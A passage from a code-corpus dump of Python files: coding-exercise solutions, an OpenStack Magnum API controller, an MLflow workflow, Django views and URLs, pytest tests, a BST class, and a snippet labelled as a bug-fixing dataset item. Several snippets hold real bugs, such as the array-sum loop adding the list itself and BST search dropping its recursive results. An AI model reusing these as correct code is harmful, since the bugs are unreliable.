for _ in range(len(s) + 1)]\n for i in count_frequency:\n buckets[count_frequency[i]].extend(i * count_frequency[i])\n for i in buckets[::-1]:\n if (i):\n ret.extend(i)\n return ''.join(ret)\n\n\nif __name__ == '__main__':\n test_cases = [\n 'tree', 'cccaaa', 'Aabb'\n ]\n for tc in test_cases:\n print(Solution.frequency_sort(tc))\n print(Solution.frequency_sort_v2(tc))\n","sub_path":"01-数据结构/哈希表/451.根据字符出现的频率排序(M).py","file_name":"451.根据字符出现的频率排序(M).py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"288560362","text":"broker_url = 'redis://localhost:6379/2'\n\ntask_queues = {\n '{{ project }}.direct': {\n 'exchange': '{{ project }}-exchange',\n 'exchange_type': 'direct',\n 'routing_key': '{{ project }}.direct',\n },\n}\n\ntask_default_queue = '{{ project }}.celery'\n\ntask_routes = {\n 'app.tasks.*': {\n 'queue': task_default_queue,\n },\n}\n","sub_path":"tests/wd/configs/default/celery.py","file_name":"celery.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"189242379","text":"# Copyright 2013 UnitedStack Inc.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport datetime\n\nimport pecan\nfrom pecan import rest\nimport wsme\nfrom wsme import types as wtypes\nimport wsmeext.pecan as wsme_pecan\n\nfrom magnum.api.controllers import base\nfrom magnum.api.controllers import link\nfrom magnum.api.controllers.v1 import collection\nfrom magnum.api.controllers.v1 import types\nfrom magnum.api.controllers.v1 import utils as api_utils\nfrom magnum.common import exception\nfrom magnum import objects\n\n\nclass BayPatchType(types.JsonPatchType):\n\n @staticmethod\n def mandatory_attrs():\n return ['/bay_uuid']\n\n\nclass Bay(base.APIBase):\n \"\"\"API representation of a bay.\n\n This class enforces type checking and value constraints, and converts\n between the internal object model and the API representation of a bay.\n \"\"\"\n\n _bay_uuid = None\n\n def _get_bay_uuid(self):\n return self._bay_uuid\n\n def _set_bay_uuid(self, value):\n if value and self._bay_uuid != value:\n try:\n # FIXME(comstud): One should only allow UUID here, but\n # there seems to be a bug in that tests are passing an\n # ID. See bug #1301046 for more details.\n bay = objects.Bay.get(pecan.request.context, value)\n self._bay_uuid = bay.uuid\n # NOTE(lucasagomes): Create the bay_id attribute on-the-fly\n # to satisfy the api -> rpc object\n # conversion.\n self.bay_id = bay.id\n except exception.BayNotFound as e:\n # Change error code because 404 (NotFound) is inappropriate\n # response for a POST request to create a Bay\n e.code = 400 # BadRequest\n raise e\n elif value == wtypes.Unset:\n self._bay_uuid = wtypes.Unset\n\n uuid = types.uuid\n \"\"\"Unique UUID for this bay\"\"\"\n\n name = wtypes.text\n \"\"\"Name of this bay\"\"\"\n\n baymodel_id = wtypes.text\n \"\"\"The bay model UUID or id\"\"\"\n\n node_count = wtypes.IntegerType()\n \"\"\"The node count for this bay\"\"\"\n\n links = wsme.wsattr([link.Link], readonly=True)\n \"\"\"A list containing a self link and associated bay links\"\"\"\n\n def __init__(self, **kwargs):\n super(Bay, self).__init__()\n\n self.fields = []\n fields = list(objects.Bay.fields)\n # NOTE(lucasagomes): bay_uuid is not part of objects.Bay.fields\n # because it's an API-only attribute\n fields.append('bay_uuid')\n for field in fields:\n # Skip fields we do not expose.\n if not hasattr(self, field):\n continue\n self.fields.append(field)\n setattr(self, field, kwargs.get(field, wtypes.Unset))\n\n # NOTE(lucasagomes): bay_id is an attribute created on-the-fly\n # by _set_bay_uuid(), it needs to be present in the fields so\n # that as_dict() will contain bay_id field when converting it\n # before saving it in the database.\n self.fields.append('bay_id')\n setattr(self, 'bay_uuid', kwargs.get('bay_id', wtypes.Unset))\n\n @staticmethod\n def _convert_with_links(bay, url, expand=True):\n if not expand:\n bay.unset_fields_except(['uuid', 'name', 'baymodel_id',\n 'node_count'])\n\n # never expose the bay_id attribute\n bay.bay_id = wtypes.Unset\n\n bay.links = [link.Link.make_link('self', url,\n 'bays', bay.uuid),\n link.Link.make_link('bookmark', url,\n 'bays', bay.uuid,\n bookmark=True)\n ]\n return bay\n\n @classmethod\n def convert_with_links(cls, rpc_bay, expand=True):\n bay = Bay(**rpc_bay.as_dict())\n return cls._convert_with_links(bay, pecan.request.host_url, expand)\n\n @classmethod\n def sample(cls, expand=True):\n sample = cls(uuid='27e3153e-d5bf-4b7e-b517-fb518e17f34c',\n name='example',\n image_id='Fedora-k8s',\n node_count=1,\n created_at=datetime.datetime.utcnow(),\n updated_at=datetime.datetime.utcnow())\n # NOTE(lucasagomes): bay_uuid getter() method look at the\n # _bay_uuid variable\n sample._bay_uuid = '7ae81bb3-dec3-4289-8d6c-da80bd8001ae'\n return cls._convert_with_links(sample, 'http://localhost:9511', expand)\n\n\nclass BayCollection(collection.Collection):\n \"\"\"API representation of a collection of bays.\"\"\"\n\n bays = [Bay]\n \"\"\"A list containing bays objects\"\"\"\n\n def __init__(self, **kwargs):\n self._type = 'bays'\n\n @staticmethod\n def convert_with_links(rpc_bays, limit, url=None, expand=False, **kwargs):\n collection = BayCollection()\n collection.bays = [Bay.convert_with_links(p, expand)\n for p in rpc_bays]\n collection.next = collection.get_next(limit, url=url, **kwargs)\n return collection\n\n @classmethod\n def sample(cls):\n sample = cls()\n sample.bays = [Bay.sample(expand=False)]\n return sample\n\n\nclass BaysController(rest.RestController):\n \"\"\"REST controller for Bays.\"\"\"\n def __init__(self):\n super(BaysController, self).__init__()\n\n from_bays = False\n \"\"\"A flag to indicate if the requests to this controller are coming\n from the top-level resource Bays.\"\"\"\n\n _custom_actions = {\n 'detail': ['GET'],\n }\n\n def _get_bays_collection(self, marker, limit,\n sort_key, sort_dir, expand=False,\n resource_url=None):\n\n limit = api_utils.validate_limit(limit)\n sort_dir = api_utils.validate_sort_dir(sort_dir)\n\n marker_obj = None\n if marker:\n marker_obj = objects.Bay.get_by_uuid(pecan.request.context,\n marker)\n\n bays = pecan.request.rpcapi.bay_list(pecan.request.context, limit,\n marker_obj, sort_key=sort_key,\n sort_dir=sort_dir)\n\n return BayCollection.convert_with_links(bays, limit,\n url=resource_url,\n expand=expand,\n sort_key=sort_key,\n sort_dir=sort_dir)\n\n @wsme_pecan.wsexpose(BayCollection, types.uuid,\n types.uuid, int, wtypes.text, wtypes.text)\n def get_all(self, bay_uuid=None, marker=None, limit=None,\n sort_key='id', sort_dir='asc'):\n \"\"\"Retrieve a list of bays.\n\n :param marker: pagination marker for large data sets.\n :param limit: maximum number of resources to return in a single result.\n :param sort_key: column to sort results by. Default: id.\n :param sort_dir: direction to sort. \"asc\" or \"desc\". Default: asc.\n \"\"\"\n return self._get_bays_collection(marker, limit, sort_key,\n sort_dir)\n\n @wsme_pecan.wsexpose(BayCollection, types.uuid,\n types.uuid, int, wtypes.text, wtypes.text)\n def detail(self, bay_uuid=None, marker=None, limit=None,\n sort_key='id', sort_dir='asc'):\n \"\"\"Retrieve a list of bays with detail.\n\n :param bay_uuid: UUID of a bay, to get only bays for that bay.\n :param marker: pagination marker for large data sets.\n :param limit: maximum number of resources to return in a single result.\n :param sort_key: column to sort results by. Default: id.\n :param sort_dir: direction to sort. \"asc\" or \"desc\". Default: asc.\n \"\"\"\n # NOTE(lucasagomes): /detail should only work agaist collections\n parent = pecan.request.path.split('/')[:-1][-1]\n if parent != \"bays\":\n raise exception.HTTPNotFound\n\n expand = True\n resource_url = '/'.join(['bays', 'detail'])\n return self._get_bays_collection(marker, limit,\n sort_key, sort_dir, expand,\n resource_url)\n\n @wsme_pecan.wsexpose(Bay, types.uuid)\n def get_one(self, bay_uuid):\n \"\"\"Retrieve information about the given bay.\n\n :param bay_uuid: UUID of a bay.\n \"\"\"\n if self.from_bays:\n raise exception.OperationNotPermitted\n\n rpc_bay = objects.Bay.get_by_uuid(pecan.request.context, bay_uuid)\n return Bay.convert_with_links(rpc_bay)\n\n @wsme_pecan.wsexpose(Bay, body=Bay, status_code=201)\n def post(self, bay):\n \"\"\"Create a new bay.\n\n :param bay: a bay within the request body.\n \"\"\"\n if self.from_bays:\n raise exception.OperationNotPermitted\n\n new_bay = objects.Bay(pecan.request.context, **bay.as_dict())\n res_bay = pecan.request.rpcapi.bay_create(new_bay)\n\n # Set the HTTP Location Header\n pecan.response.location = link.build_url('bays', res_bay.uuid)\n return Bay.convert_with_links(res_bay)\n\n @wsme.validate(types.uuid, [BayPatchType])\n @wsme_pecan.wsexpose(Bay, types.uuid, body=[BayPatchType])\n def patch(self, bay_uuid, patch):\n \"\"\"Update an existing bay.\n\n :param bay_uuid: UUID of a bay.\n :param patch: a json PATCH document to apply to this bay.\n \"\"\"\n if self.from_bays:\n raise exception.OperationNotPermitted\n\n rpc_bay = objects.Bay.get_by_uuid(pecan.request.context, bay_uuid)\n try:\n bay_dict = rpc_bay.as_dict()\n # NOTE(lucasagomes):\n # 1) Remove bay_id because it's an internal value and\n # not present in the API object\n # 2) Add bay_uuid\n bay_dict['bay_uuid'] = bay_dict.pop('bay_id', None)\n bay = Bay(**api_utils.apply_jsonpatch(bay_dict, patch))\n except api_utils.JSONPATCH_EXCEPTIONS as e:\n raise exception.PatchError(patch=patch, reason=e)\n\n # Update only the fields that have changed\n for field in objects.Bay.fields:\n try:\n patch_val = getattr(bay, field)\n except AttributeError:\n # Ignore fields that aren't exposed in the API\n continue\n if patch_val == wtypes.Unset:\n patch_val = None\n if rpc_bay[field] != patch_val:\n rpc_bay[field] = patch_val\n\n rpc_bay.save()\n return Bay.convert_with_links(rpc_bay)\n\n @wsme_pecan.wsexpose(None, types.uuid, status_code=204)\n def delete(self, bay_uuid):\n \"\"\"Delete a bay.\n\n :param bay_uuid: UUID of a bay.\n \"\"\"\n if self.from_bays:\n raise exception.OperationNotPermitted\n\n rpc_bay = objects.Bay.get_by_uuid(pecan.request.context,\n bay_uuid)\n rpc_bay.destroy()\n","sub_path":"magnum/api/controllers/v1/bay.py","file_name":"bay.py","file_ext":"py","file_size_in_byte":11707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"194585422","text":"#!/bin/python3\n\nimport os\nimport sys\n\n#\n# Complete the simpleArraySum function below.\n#\ndef simpleArraySum(ar):\n #\n # Write your code here.\n #\n result = 0\n for index in ar:\n result = result + ar\n return result\n\nif __name__ == '__main__':\n\n ar_count = int(input())\n\n ar = list(map(int, input().rstrip().split()))\n\n result = simpleArraySum(ar)\n\n\n","sub_path":"python/HackerRank.py","file_name":"HackerRank.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"256318868","text":"import subprocess\nimport mlflow\nfrom mlflow.utils import mlflow_tags\nfrom mlflow.entities import RunStatus\nfrom mlflow.utils.logging_utils import eprint\n\nfrom mlflow.tracking.fluent import _get_experiment_id\nfrom mlflow import log_metric, log_param, log_artifacts\nimport pathlib\nimport argparse\n\n# _already_ran and _get_or_run code from bellow.\n# mlflow/main.py at master · mlflow/mlflow\n# https://github.com/mlflow/mlflow/blob/master/examples/multistep_workflow/main.py\n# \n# modify little bit at compare param with force string\ndef _already_ran(entry_point_name, parameters, git_commit, experiment_id=None):\n \"\"\"Best-effort detection of if a run with the given entrypoint name,\n parameters, and experiment id already ran. The run must have completed\n successfully and have at least the parameters provided.\n \"\"\"\n experiment_id = experiment_id if experiment_id is not None else _get_experiment_id()\n client = mlflow.tracking.MlflowClient()\n all_run_infos = reversed(client.list_run_infos(experiment_id))\n for run_info in all_run_infos:\n full_run = client.get_run(run_info.run_id)\n tags = full_run.data.tags\n if tags.get(mlflow_tags.MLFLOW_PROJECT_ENTRY_POINT, None) != entry_point_name:\n continue\n match_failed = False\n for param_key, param_value in parameters.items():\n run_value = full_run.data.params.get(param_key)\n if str(run_value) != str(param_value):\n match_failed = True\n break\n if match_failed:\n continue\n\n if run_info.to_proto().status != RunStatus.FINISHED:\n eprint(\n (\"Run matched, but is not FINISHED, so skipping \" \"(run_id=%s, status=%s)\")\n % (run_info.run_id, run_info.status)\n )\n continue\n\n previous_version = tags.get(mlflow_tags.MLFLOW_GIT_COMMIT, None)\n if git_commit != previous_version:\n eprint(\n (\n \"Run matched, but has a different source version, so skipping \"\n \"(found=%s, expected=%s)\"\n )\n % (previous_version, git_commit)\n )\n continue\n return client.get_run(run_info.run_id)\n eprint(\"No matching run has been found.\")\n return None\n\n\n# TODO(aaron): This is not great because it doesn't account for:\n# - changes in code\n# - changes in dependant steps\ndef _get_or_run(entrypoint, parameters, git_commit, use_cache=True):\n existing_run = _already_ran(entrypoint, parameters, git_commit)\n if use_cache and existing_run:\n print(\"Found existing run for entrypoint=%s and parameters=%s\" % (entrypoint, parameters))\n return existing_run\n print(\"Launching new run for entrypoint=%s and parameters=%s\" % (entrypoint, parameters))\n submitted_run = mlflow.run(\".\", entrypoint, parameters=parameters)\n return mlflow.tracking.MlflowClient().get_run(submitted_run.run_id)\n\n\"\"\"Prepare for generating inputs.\"\"\"\nparser = argparse.ArgumentParser(description='analysis1 step')\nparser.add_argument('--threshold', type=float, default=50.0)\nparser.add_argument('--min_sigma', type=int, default=1)\nparser.add_argument('--num_samples', type=int, default=1)\nparser.add_argument('--num_frames', type=int, default=5)\nargs = parser.parse_args()\n\nthreshold = args.threshold\nmin_sigma = args.min_sigma\nnum_samples = args.num_samples\nnum_frames = args.num_frames\n\nwith mlflow.start_run(run_name=\"main\", nested=True) as active_run:\n # log param\n log_param(\"threshold\", threshold)\n log_param(\"min_sigma\", min_sigma)\n log_param(\"num_samples\", num_samples)\n log_param(\"num_frames\", num_frames)\n # artifacts\n #artifacts = pathlib.Path(\"./artifacts\")\n #artifacts.mkdir(parents=True, exist_ok=True)\n # check git version\n git_commit = active_run.data.tags.get(mlflow_tags.MLFLOW_GIT_COMMIT)\n # generation\n generation_run = _get_or_run(\"generation\", {\"num_samples\":num_samples, \"num_frames\":num_frames}, git_commit)\n artifactsPath = generation_run.data.params[\"artifactsPath\"]\n #generation_run = mlflow.run(\".\", \"generation\", parameters={\"num_samples\":num_samples, \"num_frames\":num_frames})\n # analysis1\n analysis1_run = _get_or_run(\"analysis1\", {\"generated_data\":artifactsPath, \"threshold\":threshold, \"min_sigma\":min_sigma, \"num_samples\":num_samples, \"num_frames\":num_frames}, git_commit)\n #analysis1_run = mlflow.run(\".\", \"analysis1\", parameters={\"threshold\":threshold, \"num_samples\":num_samples})\n # analysis2\n analysis2_run = _get_or_run(\"analysis2\", {\"threshold\":threshold, \"num_samples\":num_samples, \"num_frames\":num_frames}, git_commit)\n #analysis2_run = mlflow.run(\".\", \"analysis2\", parameters={\"threshold\":threshold, \"num_samples\":num_samples})\n\n# #log_artifacts(\"./artifacts\")\n # evaluation1\n evaluation1_run = _get_or_run(\"evaluation1\", {\"threshold\":threshold, \"num_samples\":num_samples, \"num_frames\":num_frames}, git_commit)\n #evaluation1_run = mlflow.run(\".\", \"evaluation1\", parameters={\"threshold\":threshold, \"num_samples\":num_samples})\n \n log_metric(\"x_mean\", float(evaluation1_run.data.metrics[\"x_mean\"]))\n log_metric(\"y_mean\", float(evaluation1_run.data.metrics[\"y_mean\"]))\n log_metric(\"x_std\", float(evaluation1_run.data.metrics[\"x_std\"]))\n log_metric(\"y_std\", float(evaluation1_run.data.metrics[\"y_std\"]))\n log_metric(\"r\", float(evaluation1_run.data.metrics[\"r\"]))\n log_metric(\"miss_count\", float(evaluation1_run.data.metrics[\"miss_count\"]))\n log_metric(\"missing\", float(evaluation1_run.data.metrics[\"missing\"]))\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"185463643","text":"class node():\n def __init__(self):\n self.data = None\n self.left = None\n self.right = None\n self.size = 0\n self.parent = None\n\nclass BST():\n def __init__(self, root):\n self.root = root\n\n def insert(self, root, val, parent):\n if root:\n if val < root.data:\n if root.left:\n self.insert(root.left, val, root)\n else:\n n = node()\n n.data = val\n n.size = root.size + 1\n root.left = n\n else:\n if root.right:\n self.insert(root.right, val, root)\n else:\n n = node()\n n.data = val\n n.size = root.size + 1\n root.right = n\n else:\n n = node()\n n.data = val\n n.size = 1\n self.root = n\n\n def search(self, root, node):\n if root.data == node.data:\n return root\n if node.data >= root.data:\n if root.right:\n self.search(root.right, node)\n else:\n return None\n else:\n if root.left:\n self.search(root.left, node)\n else:\n return None\n\n def findSuccesor(self, node):\n if not node.left:\n return node\n else:\n self.findSuccesor(node.left)\n\n def updateSuccessorNode(self, node):\n if not node.right:\n node = None\n else:\n # I know its left since I am finding\n # Minimum so this node has to go in the\n # parent's left\n node.parent.left = node.right\n\n def delete(self, root, val):\n node = self.search(root, val)\n if node:\n # Find the minimum in node.right sub tree.\n succ = self.findSuccesor(node.right)\n node.data = succ.data\n self.updateSuccessorNode(succ)\n return True\n else:\n return False\n\n","sub_path":"ctci/trees_graphs/bst_functions.py","file_name":"bst_functions.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"633959376","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Python提供了Enum类, 每个常量都是该枚举类的一个唯一实例。\n# Enum可以把一组相关常量定义在一个class中,且class不可变,而且成员可以直接比较\n\nfrom enum import Enum\n# Month类型的枚举类\nMonth = Enum('Month', ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'))\n# 可以直接使用Month.Jan来引用一个常量,或者枚举它的所有成员\nfor name, member in Month.__members__.items():\n print(name, ':', member, ',', member.value) # value属性是自动赋给成员的int常量,默认从1开始计数。\n# Jan : Month.Jan , 1\n# Feb : Month.Feb , 2\n# Mar : Month.Mar , 3\n# Apr : Month.Apr , 4\n# May : Month.May , 5\n# Jun : Month.Jun , 6\n# Jul : Month.Jul , 7\n# Aug : Month.Aug , 8\n# Sep : Month.Sep , 9\n# Oct : Month.Oct , 10\n# Nov : Month.Nov , 11\n# Dec : Month.Dec , 12\n\n# 如果需要更精确地控制枚举类型,可以从Enum派生出自定义类\nfrom enum import Enum, unique\n\n@unique # @unique装饰器可以帮助我们检查保证没有重复值。\nclass Weekday(Enum):\n Sun = 0 # Sun的value被设定为0\n Mon = 1\n Tue = 2\n Wed = 3\n Thu = 4\n Fri = 5\n Sat = 6\n # Sat2 = 6 key或value重复以后,在运行的时候@unique才会帮我们检查出来,写代码的时候并不会提示错误\n# 既可以用成员名称引用枚举常量,又可以直接根据value的值获得枚举常量\nd1 = Weekday.Sun\nprint(d1)\nprint(Weekday.Sun)\nprint(Weekday(1))\nprint(Weekday['Tue'])\nprint(Weekday['Tue'].value)\nfor name, member in Weekday.__members__.items():\n print(name, member, member.value)\n\n# 把Student的gender属性改造为枚举类型,可以避免使用字符串\nfrom enum import Enum, unique\n\nclass Gender(Enum):\n Male = 0\n Female = 1\n\nclass Student(object):\n def __init__(self, name, gender):\n self.name = name\n self.gender = gender\n\n# 测试:\nbart = Student('Bart', Gender.Male)\nif bart.gender == Gender.Male:\n print('测试通过!')\nelse:\n print('测试失败!')\n","sub_path":"object_oriented_programming_advance/enum/enum_test.py","file_name":"enum_test.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"142015030","text":"from django.shortcuts import render\nfrom myapp.models import Profile\nfrom django.db.models.aggregates import Avg, Count, Max, Min, Sum\nfrom django.views.generic.base import TemplateView\nfrom django.views.generic.list import ListView\n\n# Create your views here.\ndef IndexFunc(request):\n return render(request, 'index.html')\n \ndef CallDictFunc(request): \n profile_list = Profile.objects.all()\n #print(profile_list)\n for row in profile_list.values_list():\n print(row)\n \n print(Profile.objects.aggregate(Avg('age'))) \n print(Profile.objects.aggregate(Max('age'))) \n print(Profile.objects.aggregate(Sum('age'))) \n print(Profile.objects.aggregate(Count('age'))) \n print(Profile.objects.filter(name='홍길동').aggregate(Count('age'))) # filter로 where 조건을 나타낸다. \n #이름이 홍길동인 튜플들 갯수 출력 \n \n print(len(profile_list)) \n # values() + aggregate() 그룹별 평균 나이는?\n qs = Profile.objects.values('name').annotate(Avg('age')) # name별로 그룹을 묶어서 age의 평균을 출력.\n for r in qs:\n print(r) \n \n # 결과를 list로 감싸서 dict type으로 클라이언트에게 출력하기\n pro_list = []\n\n for pro in profile_list:\n pro_dict = {}\n pro_dict['name'] = pro.name\n pro_dict['age'] = pro.age\n pro_list.append(pro_dict) \n print(pro_list)\n \n context = {'pro_dicts':pro_list}\n \n return render(request, 'abc.html', context) \n\n# GenericView 관련\nclass MyClass1(TemplateView):\n template_name = 'disp1.html'\n def get(self, request):\n return render(request, self.template_name)\n \n \nclass MyClass2(TemplateView):\n def get(self, request):\n return render(request, 'hi.html')\n \n def post(self, request):\n msg = request.POST.get('msg')\n return render(request, 'hi2.html', {'msg' : msg + ' 만세'})\n \n \nclass MyClass3(ListView): \n # 해당 테이블의 자료를 읽어 object_list 키에 담은 후 현재 '앱 이름/profile_list.html' 파일을 호출 \n model = Profile \n ","sub_path":"myapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"646228305","text":"import pytest\n\nfrom scripts.src.pathfinding.node import Node\nfrom scripts.src.pathfinding.a_star import AStar\nfrom scripts.src.pathfinding.path_not_found_exception import PathNotFoundException\n\n\nclass TestAStar:\n @classmethod\n def setup_class(cls):\n cls.A_WIDTH = 2\n cls.A_HEIGHT = 3\n cls.SOME_MATRIX_COORDINATES = (4, 5)\n cls.SOME_OTHER_MATRIX_COORDINATES = (6, 7)\n cls.SOME_PIXEL_COORDINATES = (8, 9)\n cls.SOME_OTHER_PIXEL_COORDINATES = (12, 12)\n cls.SOME_ANGLE = \"40\"\n cls.A_MATRIX_POSITION = (11, 15)\n cls.A_PIXEL_POSITION = (1000, 1000)\n cls.A_WIDTH = 12\n cls.A_HEIGHT = 9\n cls.END_NODE = Node(\n cls.A_MATRIX_POSITION,\n cls.A_PIXEL_POSITION,\n cls.A_WIDTH,\n cls.A_HEIGHT)\n cls.START_NODE = Node(\n cls.SOME_MATRIX_COORDINATES,\n cls.SOME_PIXEL_COORDINATES,\n cls.A_WIDTH,\n cls.A_HEIGHT\n )\n cls.OTHER_NODE = Node(\n cls.SOME_OTHER_MATRIX_COORDINATES,\n cls.SOME_OTHER_PIXEL_COORDINATES,\n cls.A_WIDTH,\n cls.A_HEIGHT\n )\n\n def setup_method(self):\n self.a_star = AStar()\n self.END_NODE = Node(\n self.A_MATRIX_POSITION,\n self.A_PIXEL_POSITION,\n self.A_WIDTH,\n self.A_HEIGHT)\n self.START_NODE = Node(\n self.SOME_MATRIX_COORDINATES,\n self.SOME_PIXEL_COORDINATES,\n self.A_WIDTH,\n self.A_HEIGHT\n )\n self.OTHER_NODE = Node(\n self.SOME_OTHER_MATRIX_COORDINATES,\n self.SOME_OTHER_PIXEL_COORDINATES,\n self.A_WIDTH,\n self.A_HEIGHT\n )\n\n def test_given_graph_where_goal_is_not_reachable_when_find_path_then_raise_path_not_found(self):\n start_node = self.given_graph_where_goal_is_not_reachable()\n\n with pytest.raises(PathNotFoundException):\n self.a_star.find_path(start_node, self.END_NODE)\n\n def test_given_graph_where_goal_is_reachable_when_find_path_then_path_is_valid(self):\n start_node = self.given_graph_where_goal_is_reachable()\n\n path = self.a_star.find_path(start_node, self.OTHER_NODE)\n\n assert path\n\n def given_graph_where_goal_is_reachable(self):\n self.START_NODE.neighbors.append((self.OTHER_NODE, None))\n return self.START_NODE\n\n def given_graph_where_goal_is_not_reachable(self):\n self.START_NODE.neighbors.append((self.OTHER_NODE, None))\n return self.START_NODE\n","sub_path":"scripts/tests/pathfinding/test_a_star.py","file_name":"test_a_star.py","file_ext":"py","file_size_in_byte":2573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"433379292","text":"from setuptools.dist import Distribution\n\nfrom pkglib.setuptools.command.test import test\n\n\ndef test_namespace_dirs_single():\n dist = Distribution(dict(packages=['acme'], namespace_packages=['acme']))\n cmd = test(dist)\n assert cmd.get_namespace_dirs() == set(['acme'])\n\n\ndef test_namespace_dirs_nested():\n dist = Distribution(dict(packages=['acme.foo.bar'],\n namespace_packages=['acme', 'acme.foo', 'acme.foo.bar']))\n cmd = test(dist)\n assert cmd.get_namespace_dirs() == set(['acme'])\n\n\ndef test_namespace_dirs_many():\n dist = Distribution(dict(packages=['acme.foo.bar', 'blackmesa.blah'],\n namespace_packages=['acme', 'acme.foo', 'acme.foo.bar', 'blackmesa', 'blackmesa.blah']))\n cmd = test(dist)\n assert cmd.get_namespace_dirs() == set(['acme', 'blackmesa'])\n","sub_path":"tests/unit/pkglib/test_test_unit.py","file_name":"test_test_unit.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"567491440","text":"\n\ndef check_declarative_intent_params(want, module):\n if module.params['interfaces']:\n time.sleep(module.params['delay'])\n have = map_config_to_obj(module)\n for w in want:\n for i in w['interfaces']:\n obj_in_have = search_obj_in_list(w['name'], have)\n if (obj_in_have and (i not in obj_in_have.get('interfaces', []))):\n module.fail_json(msg=('Interface %s not configured on vrf %s' % (i, w['name'])))\n","sub_path":"Data Set/bug-fixing-1/a2650cbe0512cf9b17230fefed4347d82880216e--bug.py","file_name":"a2650cbe0512cf9b17230fefed4347d82880216e--bug.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"461562610","text":"import os\nimport unittest\n\nfrom easyeditor import easy_editor\n\n\nclass EasyEditorTestCase(unittest.TestCase):\n def test_static_dir(self):\n self.assertEqual(os.path.join(easy_editor.static_folder, 'UserFile'),\n easy_editor.config['USER_FILE_DIR_PATH'])\n\n self.assertTrue(os.path.isdir(\n easy_editor.config['USER_FILE_DIR_PATH']))\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test_easyeditor.py","file_name":"test_easyeditor.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"335224395","text":"# python libraries\nimport os, sys\nimport subprocess\nimport pandas as pd\n\n# custom libraries\nsystem = str(input('\\n' + 'Local or Server (L or S):'))\n\nif system == 'S':\n sys.path.insert(0, '/home/strachan/master/')\nelse:\n sys.path.insert(0, '/Users/cameronstrachan/master/')\n\nfrom modules import seq_core_lin as sc\nfrom modules import seq_gen_lin as sg\n\ndirs = ['pseudomonas_aeruginosa', 'campylobacter_jejuni', 'clostridioides_difficile', 'acinetobacter_baumannii', 'streptococcus_pneumoniae', 'neisseria_gonorrhoeae']\nhead_dir = 'dataflow/01-nucl/'\n\nfor dir in dirs:\n path_dir = head_dir + dir + '/'\n unzip_command = 'gunzip ' + path_dir + '*.gz'\n os.system(unzip_command)\n lis = [f for f in os.listdir(path_dir) if f.endswith(\".fna\")]\n output_file = head_dir + dir + '.fasta'\n sg.concat(inputfolder=path_dir, outputpath=output_file, filenames=lis)\n","sub_path":"rumen2/concatenate_pathogen_genomes.py","file_name":"concatenate_pathogen_genomes.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"435262735","text":"from django.conf.urls import url\r\n\r\nfrom . import views\r\n\r\napp_name = 'addresses'\r\n# All urlpatterns here start with a prefix of 'places/' in url and 'places:' in template\r\nurlpatterns = [\r\n\turl(r'^country-list/$', views.CountryListView.as_view(), name='country-list'),\r\n\turl(r'^country/(?P[0-9]+)/$', views.CountryDetailView.as_view(), name='country-detail'),\r\n\turl(r'^country/(?P[0-9]+)/(?P[\\w-]+)/$', views.CountryDetailView.as_view(), name='country-detail'),\r\n\turl(r'^state/(?P[0-9]+)/related/$', views.StateRelatedModalView.as_view(), name='modal-state-related'),\r\n\turl(r'^locality/(?P[0-9]+)/related/$', views.LocalityRelatedModalView.as_view(), name='modal-locality-related'),\r\n\turl(r'^address/(?P[0-9]+)/related/$', views.AddressRelatedModalView.as_view(), name='modal-address-related'),\r\n\turl(r'^modal-country-delete/(?P[0-9]+)/$', views.CountryDeleteModalView.as_view(), name='modal-country-delete'),\r\n\turl(r'^modal-country-edit/(?P[0-9]+)/$', views.CountryUpdateModalView.as_view(), name='modal-country-edit'),\r\n\turl(r'^modal-state-edit/(?P[0-9]+)/$', views.StateUpdateModalView.as_view(), name='modal-state-edit'), \r\n\turl(r'^modal-locality-edit/(?P[0-9]+)/$', views.LocalityUpdateModalView.as_view(), name='modal-locality-edit'), \r\n\turl(r'^modal-address-edit/(?P[0-9]+)/$', views.AddressUpdateModalView.as_view(), name='modal-address-edit'), \r\n\turl(r'^modal-country-create/$', views.CountryCreateModalView.as_view(), name='modal-country-create'),\r\n\turl(r'^modal-state-create/(?P[0-9]+)/$', views.StateCreateModalView.as_view(), name='modal-state-create'), 